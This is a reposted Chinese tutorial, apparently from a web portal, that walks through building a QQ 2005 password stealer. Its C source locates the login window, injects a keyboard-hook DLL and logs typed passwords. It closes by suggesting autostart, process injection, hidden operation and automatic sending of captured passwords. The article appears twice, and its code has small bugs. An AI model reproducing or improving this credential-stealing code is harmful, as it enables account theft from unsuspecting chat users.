| 订阅 | 在线投稿
分享
 
 
 

编程实现盗2005 Beta2版QQ

来源:互联网  宽屏版  评论
2008-06-01 02:07:15

一、思路分析(一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;二、 实现过程

(一) 定义宏

(二) 枚举进程找到QQ.exe

(三) 枚举所有窗口,找属于QQ.exe的窗口

(四) 获取用户名、密码、登陆按钮的句柄

(五) 创建钩子用的DLL

(六) 安装钩子

一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下:

编程实现盗2005 Beta2版QQ

本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。

一、 思路分析

一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。

(一) 数据包的角度

从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。

(二) 钩子角度

平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。

1. 钩子简介

钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图:

编程实现盗2005 Beta2版QQ

2. 程序流程

Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图:

编程实现盗2005 Beta2版QQ

从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图:

编程实现盗2005 Beta2版QQ

编程实现盗2005 Beta2版QQ

编程实现盗2005 Beta2版QQ

二、 实现过程

有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的要害代码:

(一) 定义宏

//QQ登陆框正常情况下的风格

#define QQLoginDlgNormalStyle 0x94CA00C4

//QQ登陆框最小化时的风格

#define QQLoginDlgMiniStyle 0xB4CA00C4

//用户名下拉控件的ID

#define QQLoginUserNameId 0x0000008A

//密码控件文本框的ID

#define QQLoginPassWordId 0x000000B4

//登陆按扭的ID

#define QQLoginButtonId 0x00003EA0

(二) 枚举进程找到QQ.exe

//定义PROCESSENTRY32结构

PROCESSENTRY32 pe;

pe.dwSize = sizeof(pe);

HANDLE hProcessSnap;

//所有进程快照

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

if(hProcessSnap == INVALID_HANDLE_VALUE)

{

printf("进程快照失败!\n");

return -1;

}

BOOL bRet;

//遍历进程快照,轮流显示每个进程的信息

bRet = Process32First(hProcessSnap,&pe);

while(bRet)

{

//pe.szExeFile保存的值为进程对应的可执行文件名

if(strcmp(pe.szExeFile,"QQ.exe") ==0)

{

//这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。

BOOL bRet;

//枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc

bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);

if(bRet == FALSE)

{

printf("枚举所有窗口失败!\n");

return -1;

}

}

}

这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。

(三) 枚举所有窗口,找属于QQ.exe的窗口

BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)

{

if(hwnd == NULL)

{

return FALSE;

}

//QQ.exe的ID

DWORD dwQQProcessID;

dwQQProcessID = (DWORD)lParam;

GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);

//假如创建QQ.exe的进程等于创建窗口的进程

if(dwQQProcessID == dwCreateWindowProcessID)

{

LONG lWindowStyle;

//找到窗口的风格

lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);

//假如条件成立,表示当前窗口为登陆窗口

if(lWindowStyle == QQLoginDlgNormalStyle

lWindowStyle == QQLoginDlgMiniStyle)

{

//保存登陆窗口的句柄

hLoginWindow = hwnd;

}

}

return TRUE;

}

该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。

(四) 获取用户名、密码、登陆按钮的句柄

BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)

{

if(hwnd == FALSE)

{

return FALSE;

}

LONG lID;

//取得所有子窗口的ID

lID = GetWindowLong(hwnd, GWL_ID);

//该句表示找到用户名的句柄

if(lID == QQLoginUserNameId)

{

hUserName = hwnd;

}

else if(lID == QQLoginPasswordId)

{

hUserPwd = hwnd;

}

else if(lID == QQLoginButtonId)

{

hLoginButton = hwnd;

}

return TRUE;

}

注重:以上回调函数用到了三个变量,别忘了在顶部定义哦!

//用户名、密码、登陆按钮的句柄

HWND hUserName;

HWND hUserPwd;

HWND hLoginButton;

(五) 创建钩子用的DLL

1. 申明函数

新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:

#define QQHookLIB_API __declspec(dlleXPort)

//声明要导出的函数

//安装键盘钩子函数

BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,

HMODULE hDll,

HWND hLoginWindow,

HWND hUserName,

HWND hUserPwd,

HWND hLoginButton,

DWORD dwCreateWindowProcessID);

2. 申明共享数据段以及导出函数

选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:

EXPORTS

SetKeyBoardHook

SECTIONS

QQSpyShare Read Write Shared

这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。

3. DLL主要代码

接下来在QQHook.cpp文件中添加如下代码:

//共享数据段,注重要初始化

#pragma data_seg("QQSpyShare")

HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄

HHOOK g_hMessageHook = NULL; //消息钩子句柄

HHOOK g_hKeyBoardHook = NULL; //键盘钩子句柄

HWND hQQLoginUserName = NULL;

HWND hQQLoginUserPwd = NULL;

HWND hQQLoginButton = NULL;

#pragma data_seg()

//安装键盘钩子函数

BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,

HMODULE hDll,

HWND hLoginWindow,

HWND hUserName,

HWND hUserPwd,

HWND hLoginButton,

DWORD dwCreateWindowProcessID)

{

BOOL bResult;

if(bInstall)

{

//保存用户名的句柄

hQQLoginUserName = hUserName;

//保存密码的句柄

hQQLoginUserPwd = hUserPwd;

//保存登陆QQ按钮的句柄

hQQLoginButton = hLoginButton;

//保存登陆窗口的句柄

g_hLoginWindowWnd = hLoginWindow;

//登陆窗口的主线程,安装钩子的时候要用

DWORD dwCreateLoginWindowThreadId;

dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);

//在登陆窗口主线程上安装钩子

g_hKeyBoardHook = SetWindowsHookEx(

WH_KEYBOARD, //安装键盘钩子

(HOOKPROC)KeyBoardProc, //键盘钩子回调函数

hDll, //QQHook.dll模块句柄

dwCreateLoginWindowThreadId); //登陆窗口的主线程

if(g_hKeyBoardHook == NULL)

{

printf("键盘钩子安装失败!");

return FALSE;

}

else

{

printf("键盘钩子安装成功了!");

return TRUE;

}

}

else

{

//卸载钩子

bResult = UnhookWindowsHookEx(g_hKeyBoardHook);

if(bResult == TRUE)

{

printf("键盘钩子卸载成功!");

return TRUE;

}

else

{

printf("键盘钩子卸载失败!");

return FALSE;

}

}

return TRUE;

}

以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码://键盘钩子回调函数

LRESULT CALLBACK KeyBoardProc(int ncode,

WPARAM wParam,

LPARAM lParam

)

{

//创建一个缓冲区保存连起来的密码

static char buf[250] = {0};

//用于保存用户名框的内容

char cUserName[10];

ZeroMemory(cUserName, 10);

//用于保存用户在密码框上的每一个按键

char cUserPwd[30];

//假如按的键是回车键

if (wParam == VK_RETURN && lParam > 0)

{

//得到用户名的值保存在cUserName中,密码框的值不能通过这种方法获得

SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);

}

//假如不是按回车,并且是在密码框中输入

if (lParam > 0 && wParam != VK_RETURN &&

//当前输入框为密码框

hQQLoginUserPwd == GetFocus())

{

//记下密码框中输入的字符

GetKeyNameText(lParam, cUserPwd, 30);

//以下代码把每一次按的键连起来形成一个完整的密码

static int index = 0;

if(index == 0)

{

if(strcmp(cUserPwd,"Num 1") == 0)

{

strcpy(buf,"1");

}

else if(strcmp(cUserPwd,"Num 2") == 0)

{

strcpy(buf,"2");

}

else if(strcmp(cUserPwd,"Num 3") == 0)

{

strcpy(buf,"3");

}

else if(strcmp(cUserPwd,"Num 4") == 0)

{

strcpy(buf,"4");

}

else if(strcmp(cUserPwd,"Num 5") == 0)

{

strcpy(buf,"5");

}

else if(strcmp(cUserPwd,"Num 6") == 0)

{

strcpy(buf,"6");

}

else if(strcmp(cUserPwd,"Num 7") == 0)

{

strcpy(buf,"7");

}

else if(strcmp(cUserPwd,"Num 8") == 0)

{

strcpy(buf,"8");

}

else if(strcmp(cUserPwd,"Num 9") == 0)

{

strcpy(buf,"9");

}

else if(strcmp(cUserPwd,"Num 0") == 0)

{

strcpy(buf,"0");

}

else

{

strcpy(buf,cUserPwd);

}

}

else

{

if(strcmp(cUserPwd,"Num 1") == 0)

{

strcat(buf,"1");

}

else if(strcmp(cUserPwd,"Num 2") == 0)

{

strcat(buf,"2");

}

else if(strcmp(cUserPwd,"Num 3") == 0)

{

strcat(buf,"3");

}

else if(strcmp(cUserPwd,"Num 4") == 0)

{

strcat(buf,"4");

}

else if(strcmp(cUserPwd,"Num 5") == 0)

{

strcat(buf,"5");

}

else if(strcmp(cUserPwd,"Num 6") == 0)

{

strcat(buf,"6");

}

else if(strcmp(cUserPwd,"Num 7") == 0)

{

strcat(buf,"7");

}

else if(strcmp(cUserPwd,"Num 8") == 0)

{

strcat(buf,"8");

}

else if(strcmp(cUserPwd,"Num 9") == 0)

{

strcat(buf,"9");

}

else if(strcmp(cUserPwd,"Num 0") == 0)

{

strcat(buf,"0");

}

else

{

strcat(buf,cUserPwd);

}

}

++index;

}

//假如按的是回车,将上面得到的用户名和密码连在一起显示

if (wParam == VK_RETURN && lParam > 0)

{

char cAccount;

strcpy(&cAccount,"用户名:");

strcat(&cAccount,cUserName);

strcat(&cAccount,"\n密 码:");

strcat(&cAccount,buf);

strcat(&cAccount,"\nBy:∮明天去要饭");

//cAccount中保存了用户名和密码,想怎么处理就怎么处理

MessageBox(NULL,&cAccount,"QQ帐号:",MB_OK);

return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);

}

return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);

}

这里需要注重以下几个问题:

1. 回调函数相当于是QQ.exe的函数,所以在DLL中的变量值假如想在回调函数中用,需要把变量定义在共享数据段中,这样才能被回调函数执行。

2. 定义的变量index之所以要定义成static,是因为index要保持上一次运行的值,也就是说index只能被初始化一次。static char buf[250] = {0}这一句也是一个道理。当用户在QQ登陆窗口的密码框中输东西时,就会执行该回调函数,该回调函数每一次记下的值只是一个键盘按键,只有将按键连起来才是一个密码。

3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要对得到的按键进行处理。

4. 从这个回调函数可以知道,假如用户在输密码的时候后退了,或是删除了密码再继续输入,那么记录下来的内容将是不准确的。另外,当用户输入的是小写字母的时候,显示出来的值会是大写字母,这也是一个BUG,不过盗QQ程序的原理就是这样了。

(六) 申明导出函数

(七) 安装钩子

上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。

//用户名、密码、登陆按钮的句柄都不为空时安装钩子

if(hUserName != NULL &&

hUserPwd != NULL &&

hLoginButton != NULL)

{

//得到DLL模块的句柄

hDll = GetModuleHandle("QQHook.dll");

if(hDll == NULL)

{

return FALSE;

}

//安装键盘钩子

bKeyBoardHook = SetKeyBoardHook(

TRUE,

hDll,

hLoginWindow,

hUserName,

hUserPwd,

hLoginButton,

dwCreateWindowProcessID);

if(bKeyBoardHook == FALSE)

{

printf("调用键盘钩子失败!");

return FALSE;

}

}

以上就是盗QQ程序的要害代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:

1. 改进记录密码的代码。

2. 加入对鼠标点击“登录QQ”进行HOOK的代码。

3. 设置成自动启动。

4. 注入到别的进程中。

5. 运行的时候没有界面,记录下来后自动发送密码。

由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,非凡要感谢兰陵笑笑生给我提供思路。

一、思路分析 (一) 数据包的角度 (二) 钩子角度 1. 钩子简介 2. 程序流程 ;二、 实现过程   (一) 定义宏   (二) 枚举进程找到QQ.exe   (三) 枚举所有窗口,找属于QQ.exe的窗口   (四) 获取用户名、密码、登陆按钮的句柄   (五) 创建钩子用的DLL   (六) 安装钩子   一直以来我对盗QQ这种技术都比较的好奇,最近为了练手,决定写一个盗QQ的程序。经过一个星期的努力,终于得到了QQ的用户名和密码,效果如下: [url=http://www.wangchao.net.cn/bbsdetail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599006.jpg[/img][/url]   本程序在Win2003 + QQ2005 Beta2下测试通过。下面就来分析一下整个实现过程。   一、 思路分析   一般这种盗QQ程序,都可以从两个角度分析。它们分别是:数据包和钩子技术。   (一) 数据包的角度   从这个角度入手的难度较大,这需要对QQ所用的协议非常的清楚,还要了解QQ发送的数据包采用的算法,然后把QQ发送的数据包截获下来,通过逆向分析最终得到QQ密码。由于本人对QQ所用的协议没什么研究,所以没有采用这个思路,以后有机会倒是可以试试。   (二) 钩子角度   平时写盗密码程序用的最多的应该就是钩子技术了,因为操作系统提供的API可以让我们很轻松的安装和卸载钩子,从而轻易得到我们想要的东西。 1. 钩子简介   钩子是一个很形象的词,它就像一个“钩”,通过它就可以把操作系统里的消息给钩下来,经过我们处理后再发送出去。具体如下图: [url=http://www.wangchao.net.cn/bbsdetail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599111.jpg[/img][/url]   2. 程序流程   Spy++这个工具可以让我们查看QQ登陆窗口的许多信息,如下图: [url=http://www.wangchao.net.cn/bbsdetail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599223.jpg[/img][/url]   从图中可以大概知道,QQ登陆窗口左上角的文字并不是直接写上去的,也就是说不能直接用FindWindow()方法得到登陆窗口的句柄。另外,双击某一个子窗口,还可以查看该窗口的风格等,本程序就是利用登陆窗口的样式不变才找到了登陆窗口的句柄。以下是程序的具体流程图: [url=http://www.wangchao.net.cn/bbsdetail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599384.jpg[/img][/url] [url=http://www.wangchao.net.cn/bbsdetail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599559.jpg[/img][/url] [url=http://www.wangchao.net.cn/bbsdetail_1785397.html][img]http://image.wangchao.net.cn/it/1323423599758.jpg[/img][/url]   二、 实现过程   有了上面这个流程图后,经常写win32程序的朋友应该也能写出这种盗QQ程序的,你无妨自已写写试试,有不明白的地方可以参考我的程序。以下为我的程序的要害代码:   (一) 定义宏   //QQ登陆框正常情况下的风格   #define QQLoginDlgNormalStyle 0x94CA00C4   //QQ登陆框最小化时的风格   #define QQLoginDlgMiniStyle 0xB4CA00C4   //用户名下拉控件的ID   #define QQLoginUserNameId 0x0000008A   //密码控件文本框的ID   #define QQLoginPassWordId 0x000000B4   //登陆按扭的ID   #define QQLoginButtonId 0x00003EA0   (二) 枚举进程找到QQ.exe   //定义PROCESSENTRY32结构   PROCESSENTRY32 pe;   pe.dwSize = sizeof(pe);   HANDLE hProcessSnap;   //所有进程快照   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);    if(hProcessSnap == INVALID_HANDLE_VALUE)   {      printf("进程快照失败!\n");     return -1;    }    BOOL bRet;   //遍历进程快照,轮流显示每个进程的信息   bRet = Process32First(hProcessSnap,&pe);   while(bRet)    {     //pe.szExeFile保存的值为进程对应的可执行文件名      if(strcmp(pe.szExeFile,"QQ.exe") ==0)    {    //这个时候的pe.th32ProcessID值,就是QQ.exe的PID值了。   BOOL bRet;   //枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc    bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);    if(bRet == FALSE)   {    printf("枚举所有窗口失败!\n");   return -1;    }   }   }   这里要提醒一点,要调用CreateToolhelp32Snapshot()、Process32First()这些函数,需要在顶部加一句代码:#include <tlhelp32.h>。   (三) 枚举所有窗口,找属于QQ.exe的窗口   BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)   {    if(hwnd == NULL)    {    return FALSE;   }    //QQ.exe的ID    DWORD dwQQProcessID;   dwQQProcessID = (DWORD)lParam;   GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);   //假如创建QQ.exe的进程等于创建窗口的进程    if(dwQQProcessID == dwCreateWindowProcessID)   {    LONG lWindowStyle;    //找到窗口的风格    lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);    //假如条件成立,表示当前窗口为登陆窗口    if(lWindowStyle == QQLoginDlgNormalStyle    lWindowStyle == QQLoginDlgMiniStyle)   {   //保存登陆窗口的句柄    hLoginWindow = hwnd;    }    }    return TRUE;   }   该回调函数执行完后,就得到QQ登陆窗口的句柄。保存在hLoginWindow中。   (四) 获取用户名、密码、登陆按钮的句柄   BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)   {    if(hwnd == FALSE)   {    return FALSE;   }   LONG lID;   //取得所有子窗口的ID   lID = GetWindowLong(hwnd, GWL_ID);    //该句表示找到用户名的句柄   if(lID == QQLoginUserNameId)   {   hUserName = hwnd;    }   else if(lID == QQLoginPasswordId)   {   hUserPwd = hwnd;   }   else if(lID == QQLoginButtonId)    {    hLoginButton = hwnd;   }   return TRUE;   }   注重:以上回调函数用到了三个变量,别忘了在顶部定义哦!   //用户名、密码、登陆按钮的句柄   HWND hUserName;   HWND hUserPwd;   HWND hLoginButton;   (五) 创建钩子用的DLL   1. 申明函数   新建一个Win32 Dynamic-Link Library项目,命名为:QQHook。选择空DLL选项,然后在QQHook.h中申明函数:   #define QQHookLIB_API __declspec(dlleXPort)   //声明要导出的函数   //安装键盘钩子函数   BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall, HMODULE hDll, HWND hLoginWindow, HWND hUserName, HWND hUserPwd, HWND hLoginButton, DWORD dwCreateWindowProcessID);   2. 申明共享数据段以及导出函数   选“新建文件Text File”,文件名称处输入QQHook.def,然后添加如下代码:   EXPORTS    SetKeyBoardHook   SECTIONS   QQSpyShare Read Write Shared   这样SetKeyBoardHook函数即为导出函数了,可以在别的项目中被调用。   3. DLL主要代码   接下来在QQHook.cpp文件中添加如下代码:   //共享数据段,注重要初始化   #pragma data_seg("QQSpyShare")   HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄   HHOOK g_hMessageHook = NULL; //消息钩子句柄   HHOOK g_hKeyBoardHook = NULL; //键盘钩子句柄   HWND hQQLoginUserName = NULL;   HWND hQQLoginUserPwd = NULL;   HWND hQQLoginButton = NULL;   #pragma data_seg()   //安装键盘钩子函数   BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall, HMODULE hDll, HWND hLoginWindow, HWND hUserName, HWND hUserPwd, HWND hLoginButton, DWORD dwCreateWindowProcessID)   {   BOOL bResult;   if(bInstall)   {   //保存用户名的句柄   hQQLoginUserName = hUserName;    //保存密码的句柄    hQQLoginUserPwd = hUserPwd;   //保存登陆QQ按钮的句柄    hQQLoginButton = hLoginButton;   //保存登陆窗口的句柄   g_hLoginWindowWnd = hLoginWindow;   //登陆窗口的主线程,安装钩子的时候要用    DWORD dwCreateLoginWindowThreadId;   dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL);    //在登陆窗口主线程上安装钩子   g_hKeyBoardHook = SetWindowsHookEx(    WH_KEYBOARD, //安装键盘钩子   (HOOKPROC)KeyBoardProc, //键盘钩子回调函数    hDll, //QQHook.dll模块句柄    dwCreateLoginWindowThreadId); //登陆窗口的主线程   if(g_hKeyBoardHook == NULL)   {   printf("键盘钩子安装失败!");   return FALSE;    }   else    {    printf("键盘钩子安装成功了!");    return TRUE;   }    }    else    {    //卸载钩子    bResult = UnhookWindowsHookEx(g_hKeyBoardHook);   if(bResult == TRUE)   {    printf("键盘钩子卸载成功!");    return TRUE;   }    else    {    printf("键盘钩子卸载失败!");    return FALSE;    }    }    return TRUE;   }   以上代码的作用是在登陆窗口的主线程上安装钩子,这样当在QQ登陆窗口中有键盘输入的时候,就会执行回调函数里的代码。只要我们在键盘钩子回调函数中将得到的按键信息进行信息,即可将QQ密码记录下来。以下为键盘钩子回调函数代码:  //键盘钩子回调函数   LRESULT CALLBACK KeyBoardProc(int ncode,  WPARAM wParam,  LPARAM lParam   )   {    //创建一个缓冲区保存连起来的密码   static char buf[250] = {0};    //用于保存用户名框的内容   char cUserName[10];    ZeroMemory(cUserName, 10);    //用于保存用户在密码框上的每一个按键   char cUserPwd[30];    //假如按的键是回车键    if (wParam == VK_RETURN && lParam > 0)    {   //得到用户名的值保存在cUserName中,密码框的值不能通过这种方法获得   SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);    }   //假如不是按回车,并且是在密码框中输入    if (lParam > 0 && wParam != VK_RETURN &&    //当前输入框为密码框    hQQLoginUserPwd == GetFocus())   {   //记下密码框中输入的字符   GetKeyNameText(lParam, cUserPwd, 30);   //以下代码把每一次按的键连起来形成一个完整的密码    static int index = 0;    if(index == 0)    {    if(strcmp(cUserPwd,"Num 1") == 0)    {    strcpy(buf,"1");    }    else if(strcmp(cUserPwd,"Num 2") == 0)   {    strcpy(buf,"2");    }    else if(strcmp(cUserPwd,"Num 3") == 0)    {    strcpy(buf,"3");    }    else if(strcmp(cUserPwd,"Num 4") == 0)   {   strcpy(buf,"4");   }   else if(strcmp(cUserPwd,"Num 5") == 0)   {   strcpy(buf,"5");    }    else if(strcmp(cUserPwd,"Num 6") == 0)    {    strcpy(buf,"6");    }    else if(strcmp(cUserPwd,"Num 7") == 0)   {    strcpy(buf,"7");   }   else if(strcmp(cUserPwd,"Num 8") == 0)    {   strcpy(buf,"8");    }    else if(strcmp(cUserPwd,"Num 9") == 0)    {    strcpy(buf,"9");    }    else if(strcmp(cUserPwd,"Num 0") == 0)    {   strcpy(buf,"0");   }    else   {   strcpy(buf,cUserPwd);    }   }   else    {   if(strcmp(cUserPwd,"Num 1") == 0)    {   strcat(buf,"1");   }    else if(strcmp(cUserPwd,"Num 2") == 0)   {    strcat(buf,"2");    }   else if(strcmp(cUserPwd,"Num 3") == 0)    {    strcat(buf,"3");    }   else if(strcmp(cUserPwd,"Num 4") == 0)   {   strcat(buf,"4");    }    else if(strcmp(cUserPwd,"Num 5") == 0)    {   strcat(buf,"5");    }   else if(strcmp(cUserPwd,"Num 6") == 0)   {   strcat(buf,"6");    }    else if(strcmp(cUserPwd,"Num 7") == 0)   {   strcat(buf,"7");    }   else if(strcmp(cUserPwd,"Num 8") == 0)   {    strcat(buf,"8");    }    else if(strcmp(cUserPwd,"Num 9") == 0)    {    strcat(buf,"9");    }    else if(strcmp(cUserPwd,"Num 0") == 0)    {    strcat(buf,"0");   }    else   {    strcat(buf,cUserPwd);    }    }    ++index;    }   //假如按的是回车,将上面得到的用户名和密码连在一起显示   if (wParam == VK_RETURN && lParam > 0)   {    char cAccount;    strcpy(&cAccount,"用户名:");   strcat(&cAccount,cUserName);    strcat(&cAccount,"\n密 码:");    strcat(&cAccount,buf);    strcat(&cAccount,"\nBy:∮明天去要饭");    //cAccount中保存了用户名和密码,想怎么处理就怎么处理    MessageBox(NULL,&cAccount,"QQ帐号:",MB_OK);    return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);    }    return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);   }   这里需要注重以下几个问题:   1. 回调函数相当于是QQ.exe的函数,所以在DLL中的变量值假如想在回调函数中用,需要把变量定义在共享数据段中,这样才能被回调函数执行。   2. 定义的变量index之所以要定义成static,是因为index要保持上一次运行的值,也就是说index只能被初始化一次。static char buf[250] = {0}这一句也是一个道理。当用户在QQ登陆窗口的密码框中输东西时,就会执行该回调函数,该回调函数每一次记下的值只是一个键盘按键,只有将按键连起来才是一个密码。   3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要对得到的按键进行处理。   4. 从这个回调函数可以知道,假如用户在输密码的时候后退了,或是删除了密码再继续输入,那么记录下来的内容将是不准确的。另外,当用户输入的是小写字母的时候,显示出来的值会是大写字母,这也是一个BUG,不过盗QQ程序的原理就是这样了。   (六) 申明导出函数   (七) 安装钩子   上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。    //用户名、密码、登陆按钮的句柄都不为空时安装钩子    if(hUserName != NULL &&    hUserPwd != NULL &&    hLoginButton != NULL)    {    //得到DLL模块的句柄    hDll = GetModuleHandle("QQHook.dll");    if(hDll == NULL)    {    return FALSE;    }    //安装键盘钩子    bKeyBoardHook = SetKeyBoardHook(    TRUE,    hDll,    hLoginWindow,    hUserName,    hUserPwd,    hLoginButton,    dwCreateWindowProcessID);    if(bKeyBoardHook == FALSE)    {    printf("调用键盘钩子失败!");   return FALSE;    }    }   以上就是盗QQ程序的要害代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进:   1. 改进记录密码的代码。   2. 加入对鼠标点击“登录QQ”进行HOOK的代码。   3. 设置成自动启动。   4. 注入到别的进程中。   5. 运行的时候没有界面,记录下来后自动发送密码。   由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,非凡要感谢兰陵笑笑生给我提供思路。
󰈣󰈤
 
 
 
>>返回首页<<
 
 热帖排行
 
 
王朝网络微信公众号
微信扫码关注本站公众号wangchaonetcn
 
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
©2005- 王朝网络 版权所有